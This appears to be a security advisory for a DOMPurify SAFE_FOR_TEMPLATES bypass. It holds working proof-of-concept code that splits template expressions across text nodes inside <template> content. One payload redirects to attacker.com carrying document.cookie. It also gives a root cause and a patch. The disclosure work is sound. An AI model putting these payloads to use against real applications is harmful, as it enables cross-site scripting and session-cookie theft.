// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}" <-- survived in-place sanitization
new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!
HTML File for testing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
<script src="dist/purify.js"></script>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', system-ui, sans-serif;
background: #0d1117;
color: #e6edf3;
padding: 32px;
}
h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
.subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
.card {
background: #161b22;
border: 1px solid #30363d;
border-radius: 8px;
margin-bottom: 24px;
overflow: hidden;
}
.card-header {
display: flex;
align-items: center;
gap: 10px;
padding: 14px 20px;
border-bottom: 1px solid #30363d;
background: #1c2128;
}
.badge {
font-size: 0.72rem;
font-weight: 700;
padding: 2px 8px;
border-radius: 4px;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.badge-run { background: #1f6feb; color: #fff; }
.badge-pass { background: #238636; color: #fff; }
.badge-fail { background: #da3633; color: #fff; }
.badge-warn { background: #9e6a03; color: #fff; }
.card-title { font-size: 0.95rem; font-weight: 600; }
.card-body { padding: 20px; }
label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
pre {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.82rem;
line-height: 1.6;
overflow-x: auto;
margin-bottom: 14px;
white-space: pre-wrap;
word-break: break-all;
}
pre.result { border-color: #238636; background: #0a1a0f; }
pre.escaped { border-color: #da3633; background: #1a0a0a; }
pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
.grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
@media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
.arrow {
text-align: center;
font-size: 1.4rem;
color: #8b949e;
margin: 4px 0;
}
.xss-banner {
display: none;
background: #da3633;
color: #fff;
text-align: center;
padding: 16px;
font-size: 1.1rem;
font-weight: 700;
border-radius: 6px;
margin-bottom: 24px;
letter-spacing: 0.03em;
}
button {
background: #238636;
color: #fff;
border: none;
padding: 10px 22px;
border-radius: 6px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
margin-right: 10px;
margin-bottom: 8px;
}
button:hover { background: #2ea043; }
button.danger { background: #da3633; }
button.danger:hover { background: #f85149; }
.note {
background: #161b22;
border-left: 3px solid #9e6a03;
padding: 12px 16px;
font-size: 0.82rem;
color: #e3b341;
border-radius: 0 6px 6px 0;
margin-top: 14px;
}
#log {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.8rem;
font-family: monospace;
min-height: 60px;
max-height: 300px;
overflow-y: auto;
line-height: 1.8;
}
.log-ok { color: #3fb950; }
.log-fail { color: #f85149; }
.log-info { color: #8b949e; }
.log-warn { color: #e3b341; }
</style>
</head>
<body>
<h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
<p class="subtitle">
CVE candidate · Template expression injection via <template> content ·
Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
</p>
<div id="xss-banner" class="xss-banner">
⚠️ XSS CONFIRMED - Expression executed in this page's context
</div>
<!-- ── Controls ─────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Controls</span>
<span class="card-title">Run individual test cases</span>
</div>
<div class="card-body">
<button onclick="runAll()">▶ Run all tests</button>
<button onclick="runPoC1()">PoC 1 - alert()</button>
<button onclick="runPoC2()">PoC 2 - cookie exfil</button>
<button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
<button onclick="runControl()">Control - string output (should block)</button>
<div class="note">
PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
doesn't need a dismiss click to continue. Watch the red banner at the top.
</div>
</div>
</div>
<!-- ── PoC 1 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc1">
<div class="card-header">
<span class="badge badge-run" id="badge-poc1">PENDING</span>
<span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
<pre id="input-poc1"></pre>
</div>
<div>
<label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
<pre class="result" id="nodes-poc1"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED TEXT NODE - fully formed expression after normalization</label>
<pre class="highlight" id="merged-poc1"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc1">Not run yet</pre>
</div>
</div>
<!-- ── PoC 2 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc2">
<div class="card-header">
<span class="badge badge-run" id="badge-poc2">PENDING</span>
<span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - exfil payload split across custom elements</label>
<pre id="input-poc2"></pre>
</div>
<div>
<label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
<pre class="result" id="nodes-poc2"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION - what a template engine would evaluate</label>
<pre class="highlight" id="merged-poc2"></pre>
<label>SIMULATED EXECUTION (fetch URL that would be called)</label>
<pre id="exec-poc2">Not run yet</pre>
<div class="note">
Real execution would redirect the victim to
<code>attacker.com</code> carrying the session cookie.
This PoC constructs the URL without actually sending it.
</div>
</div>
</div>
<!-- ── PoC 3 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc3">
<div class="card-header">
<span class="badge badge-run" id="badge-poc3">PENDING</span>
<span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
<pre id="input-poc3"></pre>
</div>
<div>
<label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
<pre class="result" id="nodes-poc3"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION</label>
<pre class="highlight" id="merged-poc3"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc3">Not run yet</pre>
</div>
</div>
<!-- ── Control ───────────────────────────────────────────── -->
<div class="card" id="card-ctrl">
<div class="card-header">
<span class="badge badge-run" id="badge-ctrl">PENDING</span>
<span class="card-title">Control - string output (default) MUST block the payload</span>
</div>
<div class="card-body">
<label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
<pre id="input-ctrl"></pre>
<div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
<label>OUTPUT STRING - expression should be stripped</label>
<pre id="output-ctrl">Not run yet</pre>
<div class="note">
The string output path is NOT vulnerable because
<code>body.innerHTML</code> serialises the template content into a
flat string where the full <code>${"{...}"}</code> expression is visible
and the final regex scrub catches it.
</div>
</div>
</div>
<!-- ── Log ───────────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Log</span>
<span class="card-title">Test output</span>
</div>
<div class="card-body">
<div id="log"></div>
</div>
</div>
<script>
// ── Helpers ────────────────────────────────────────────────────────────────
let xssConfirmed = false;
function log(msg, type = 'info') {
const el = document.getElementById('log');
const line = document.createElement('div');
line.className = 'log-' + type;
line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
el.appendChild(line);
el.scrollTop = el.scrollHeight;
}
function setBadge(id, status) {
const el = document.getElementById('badge-' + id);
el.textContent = status;
el.className = 'badge ' + {
PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security)
BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it
PENDING: 'badge-run',
ERROR: 'badge-warn',
}[status];
}
function markXSS(poc) {
if (!xssConfirmed) {
xssConfirmed = true;
document.getElementById('xss-banner').style.display = 'block';
}
log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}
// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────
function runPoC1() {
log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');
// IMPORTANT:
// Build a REAL template DOM node with split TEXT nodes.
// HTML parsing would merge adjacent text automatically,
// so we construct the DOM programmatically.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc1').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{confirm(...)}"';
// Sanitize the DOM node itself
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc1').textContent =
'Template element removed during sanitization';
setBadge('poc1', 'ERROR');
return;
}
const nodesBefore = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc1').textContent =
'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
'→ Neither fragment matched individually.';
log(
'PoC 1: Text nodes after sanitization: ' +
nodesBefore.join(', '),
'warn'
);
// Merge text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc1').textContent = merged;
log('PoC 1: After normalize() - merged text: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc1').textContent =
'✔ Expression executed successfully\\n' +
'Returned: ' + result;
setBadge('poc1', 'PASS');
markXSS('PoC 1');
} catch (e) {
document.getElementById('exec-poc1').textContent =
'Error: ' + e.message;
setBadge('poc1', 'ERROR');
log('PoC 1 error: ' + e.message, 'warn');
}
}
// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────
function runPoC2() {
log('Running PoC 2 - cookie exfiltration...', 'info');
// Fake cookie for demonstration
document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';
// IMPORTANT:
// Build REAL split text nodes programmatically.
// Do NOT rely on HTML parsing.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{document.location="//attacker.com/steal?c="+document.cookie}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc2').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{document.location=...}"';
// Sanitize DOM node
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc2').textContent =
'Template element removed during sanitization';
setBadge('poc2', 'ERROR');
log('PoC 2: template element missing after sanitize()', 'warn');
return;
}
const nodes = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc2').textContent =
'Node 0: ' + nodes[0] + '\\n' +
'Node 1: ' + nodes[1] + '\\n\\n' +
'→ Neither fragment individually matches template-expression regexes.';
log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');
// Merge adjacent text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc2').textContent = merged;
log('PoC 2: Merged expression: ' + merged, 'warn');
// Simulate framework evaluation
try {
new Function('return `' + merged + '`')();
const cookieValue = document.cookie;
const stealUrl =
'//attacker.com/steal?c=' +
encodeURIComponent(cookieValue);
document.getElementById('exec-poc2').textContent =
'✔ Expression successfully evaluated\\n\\n' +
'Would redirect victim to:\\n' +
stealUrl + '\\n\\n' +
'Cookie exposed:\\n' +
cookieValue;
setBadge('poc2', 'PASS');
markXSS('PoC 2');
log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');
} catch (e) {
document.getElementById('exec-poc2').textContent =
'Error: ' + e.message;
setBadge('poc2', 'ERROR');
log('PoC 2 error: ' + e.message, 'warn');
}
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────
function runPoC3() {
log('Running PoC 3 - IN_PLACE mode...', 'info');
// Build DOM node manually (simulates attacker-controlled DOM input,
// e.g. content parsed from a WebSocket message or an iframe)
const container = document.createElement('div');
const tmplEl = document.createElement('template');
// Two separate text nodes - HTML parser merges them, but programmatic
// DOM construction keeps them split. This is the IN_PLACE attack surface.
tmplEl.content.appendChild(document.createTextNode('$'));
tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
container.appendChild(tmplEl);
document.getElementById('input-poc3').textContent =
'// Programmatically constructed DOM node:\n' +
'template.content.childNodes[0].data = "$"\n' +
'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
'// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';
// Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
DOMPurify.sanitize(container, {
IN_PLACE: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = container.querySelector('template');
const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
document.getElementById('nodes-poc3').textContent =
'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
'→ _scrubTemplateExpressions() did not enter template.content\n' +
'→ Both nodes unchanged after sanitization.';
log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc3').textContent = merged;
log('PoC 3: Merged: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc3').textContent =
'✔ new Function() returned: ' + result + '\n' +
'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
setBadge('poc3', 'PASS');
markXSS('PoC 3');
} catch (e) {
document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
setBadge('poc3', 'ERROR');
log('PoC 3 error: ' + e.message, 'warn');
}
}
// ── Control: string output must block ─────────────────────────────────────
function runControl() {
log('Running control - string output path (should block)...', 'info');
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{confirm("this should never fire")}</x-split-2>' +
'</template>';
document.getElementById('input-ctrl').textContent = dirty;
// Default string output - NOT using RETURN_DOM
const sanitized = DOMPurify.sanitize(dirty, {
SAFE_FOR_TEMPLATES: true,
// RETURN_DOM intentionally omitted - string path is safe
});
document.getElementById('output-ctrl').textContent = sanitized;
const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
if (blocked) {
setBadge('ctrl', 'BLOCK');
log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
} else {
setBadge('ctrl', 'PASS'); // unexpected
log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
}
}
// ── Run all ────────────────────────────────────────────────────────────────
function runAll() {
document.getElementById('log').innerHTML = '';
xssConfirmed = false;
document.getElementById('xss-banner').style.display = 'none';
log('=== Starting full test run ===', 'info');
runPoC1();
runPoC2();
runPoC3();
runControl();
log('=== Test run complete ===', 'info');
}
</script>
</body>
</html>
Root Cause
_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into <template>.content:
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)
const walker = createNodeIterator.call(
node.ownerDocument || node,
node, // NodeIterator does NOT enter <template>.content
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |
NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,
null
);
// Scrubs nodes it finds, but never sees <template> content
};
The fix is to extend _scrubTemplateExpressions to explicitly recurse into <template>.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):
if (_isDocumentFragment(shadowNode.content)) {
_sanitizeShadowDOM(shadowNode.content); // already handles recursion
}
Suggested Patch Direction
const _scrubTemplateExpressions = function (node: Element): void {
node.normalize();
const walker = createNodeIterator.call( /* existing args */ );
// ... existing scrub loop ...
// NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM
const templates = (node as Element).querySelectorAll?.('template') ?? [];
arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {
if (_isDocumentFragment(tmpl.content)) {
_scrubTemplateExpressions(tmpl.content as unknown as Element);
}
});
};
Impact
Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.
What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.
Preconditions for Exploitation
| Precondition | Notes |
|---|---|
SAFE_FOR_TEMPLATES: true |
Non-default - must be explicitly set |
RETURN_DOM: true or IN_PLACE: true |
Non-default - must be explicitly set |
Template engine processes <template>.content |
Application-dependent |
What Is NOT Affected
The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:
// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
serializedHTML = stringReplace(serializedHTML, expr, ' ');
});
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.7"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-65900"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:02:40Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nWhen DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `\u003c%evil%\u003e`, that survive the sanitization pass inside `\u003ctemplate\u003e` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.\n\n\u003e **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.\n\n---\n\n## Description\n\n### Background\n\n`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `\u003c% %\u003e` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:\n\n1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.\n2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.\n\n### The Gap\n\n`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:\n\n```ts\n// src/purify.ts:1117\nconst walker = createNodeIterator.call(\n node.ownerDocument || node,\n node,\n NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,\n null\n);\n```\n\nPer the DOM specification, a `NodeIterator` does **not** descend into `\u003ctemplate\u003e.content`. The template element\u0027s content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `\u003ctemplate\u003e.content`.\n\nThis means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `\u003ctemplate\u003e` content.\n\n### How Split Text Nodes Are Created\n\nWhen DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element\u0027s text children into the parent node. This is the standard code path at `src/purify.ts:1361\u20131373`:\n\n```ts\nif (KEEP_CONTENT \u0026\u0026 !FORBID_CONTENTS[tagName]) {\n const parentNode = getParentNode(currentNode);\n const childNodes = getChildNodes(currentNode);\n if (childNodes \u0026\u0026 parentNode) {\n for (let i = childCount - 1; i \u003e= 0; --i) {\n const childClone = cloneNode(childNodes[i], true);\n parentNode.insertBefore(childClone, getNextSibling(currentNode));\n }\n }\n}\n```\n\nIf the removed elements were adjacent siblings inside `\u003ctemplate\u003e` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.\n\nThe code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:\n\n\u003e *\"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.\"*\n\nThe implementation guards against this on the main body, but the guard is **not** applied to `\u003ctemplate\u003e` content.\n\n---\n\n## Proof of Concept\n\n### Why the Split Works\n\nThe bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:\n\n| Fragment | Against `TMPLIT_EXPR` `/\\${[\\w\\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\\w\\W]*\\|^[\\w\\W]*}}/g` | Result |\n|---|---|---|---|\n| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |\n| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |\n| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |\n\nDOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.\n\n---\n\n### PoC 1 - XSS via `alert()` (baseline confirmation)\n\n```javascript\n// Attacker input - splits \"${alert(document.domain)}\" across two custom elements.\n// Custom elements are not in DOMPurify\u0027s default ALLOWED_TAGS and are removed,\n// but their text content is kept (KEEP_CONTENT: true is the default).\nconst dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-split-1\u003e$\u003c/x-split-1\u003e\u0027 +\n \u0027\u003cx-split-2\u003e{alert(document.domain)}\u003c/x-split-2\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}\nconst sanitized = DOMPurify.sanitize(dirty, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n});\n\n// Inspect what survived inside the \u003ctemplate\u003e\nconst tmpl = sanitized.querySelector(\u0027template\u0027);\nconsole.log([...tmpl.content.childNodes].map(n =\u003e n.nodeValue));\n// [\"$\", \"{alert(document.domain)}\"] \u003c-- two separate text nodes, both \"clean\"\n\n// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()\n// before reading template content. This merges the adjacent nodes:\ntmpl.content.normalize();\nconsole.log(tmpl.content.textContent);\n// \"${alert(document.domain)}\" \u003c-- fully formed expression, past the sanitizer\n\n// Any template-literal evaluator now fires XSS:\nconst expr = tmpl.content.textContent;\nnew Function(`return \\`${expr}\\``)();\n// !! alert(document.domain) executes !!\n```\n\n---\n\n### PoC 2 - Session Hijacking via cookie exfiltration\n\n```javascript\n// Splits \"${document.location=\u0027//attacker.com/?c=\u0027+document.cookie}\"\n// \"{document.location=...}\" ends with a single \"}\" \u2014 does NOT match\n// MUSTACHE_EXPR\u0027s \"^[\\w\\W]*}}\" (requires double \"}}\"), so it survives.\nconst dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-a\u003e$\u003c/x-a\u003e\u0027 +\n \u0027\u003cx-b\u003e{document.location=\"//attacker.com/?c=\"+document.cookie}\u003c/x-b\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\nconst sanitized = DOMPurify.sanitize(dirty, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n});\n\nconst tmpl = sanitized.querySelector(\u0027template\u0027);\ntmpl.content.normalize();\n\nconsole.log(tmpl.content.textContent);\n// \"${document.location=\"//attacker.com/?c=\"+document.cookie}\"\n\n// Template engine evaluates it - victim\u0027s browser makes the request:\nnew Function(`return \\`${tmpl.content.textContent}\\``)();\n// !! Redirects victim to attacker.com with their full cookie string !!\n// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789\n```\n\n---\n\n### PoC 3 - End-to-end: realistic application context\n\nThis shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:\n\n```html\n\u003c!-- index.html - the vulnerable application --\u003e\n\u003cdiv id=\"output\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\"\u003e\n import DOMPurify from \u0027./dist/purify.es.mjs\u0027;\n\n // Simulates fetching and rendering user-submitted comment\n async function renderComment(userHtml) {\n // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine\n const dom = DOMPurify.sanitize(userHtml, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n // Application iterates \u003ctemplate\u003e elements and evaluates their content\n // (common pattern in component-based frameworks)\n dom.querySelectorAll(\u0027template\u0027).forEach(tmpl =\u003e {\n tmpl.content.normalize(); // standard DOM housekeeping\n const content = tmpl.content.textContent;\n\n // Application uses template literals to interpolate user content into UI\n const rendered = new Function(\u0027user\u0027, `return \\`${content}\\``)({ name: \u0027World\u0027 });\n document.getElementById(\u0027output\u0027).innerHTML += rendered;\n });\n }\n\n // Attacker-supplied comment content\n const attackerComment =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-a\u003e$\u003c/x-a\u003e\u0027 +\n \u0027\u003cx-b\u003e{alert(\"XSS: \" + document.cookie)}\u003c/x-b\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n // Developer believes SAFE_FOR_TEMPLATES makes this safe \u2014 it does not for RETURN_DOM\n renderComment(attackerComment);\n // !! XSS fires, alert pops with session cookies !!\n\u003c/script\u003e\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim\u0027s browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement(\u0027div\u0027);\nconst tmpl = document.createElement(\u0027template\u0027);\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\ntmpl.content.appendChild(document.createTextNode(\u0027{alert(document.domain)}\u0027));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector(\u0027template\u0027).content.normalize();\nconsole.log(container.querySelector(\u0027template\u0027).content.textContent);\n// \"${alert(document.domain)}\" \u003c-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector(\u0027template\u0027).content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\" /\u003e\n \u003ctitle\u003eDOMPurify SAFE_FOR_TEMPLATES Bypass - PoC\u003c/title\u003e\n \u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n \u003cstyle\u003e\n * { box-sizing: border-box; margin: 0; padding: 0; }\n body {\n font-family: \u0027Segoe UI\u0027, system-ui, sans-serif;\n background: #0d1117;\n color: #e6edf3;\n padding: 32px;\n }\n h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }\n .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }\n .card {\n background: #161b22;\n border: 1px solid #30363d;\n border-radius: 8px;\n margin-bottom: 24px;\n overflow: hidden;\n }\n .card-header {\n display: flex;\n align-items: center;\n gap: 10px;\n padding: 14px 20px;\n border-bottom: 1px solid #30363d;\n background: #1c2128;\n }\n .badge {\n font-size: 0.72rem;\n font-weight: 700;\n padding: 2px 8px;\n border-radius: 4px;\n text-transform: uppercase;\n letter-spacing: 0.05em;\n }\n .badge-run { background: #1f6feb; color: #fff; }\n .badge-pass { background: #238636; color: #fff; }\n .badge-fail { background: #da3633; color: #fff; }\n .badge-warn { background: #9e6a03; color: #fff; }\n .card-title { font-size: 0.95rem; font-weight: 600; }\n .card-body { padding: 20px; }\n label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }\n pre {\n background: #0d1117;\n border: 1px solid #30363d;\n border-radius: 6px;\n padding: 14px;\n font-size: 0.82rem;\n line-height: 1.6;\n overflow-x: auto;\n margin-bottom: 14px;\n white-space: pre-wrap;\n word-break: break-all;\n }\n pre.result { border-color: #238636; background: #0a1a0f; }\n pre.escaped { border-color: #da3633; background: #1a0a0a; }\n pre.highlight { border-color: #f85149; color: #f85149; font-weight: 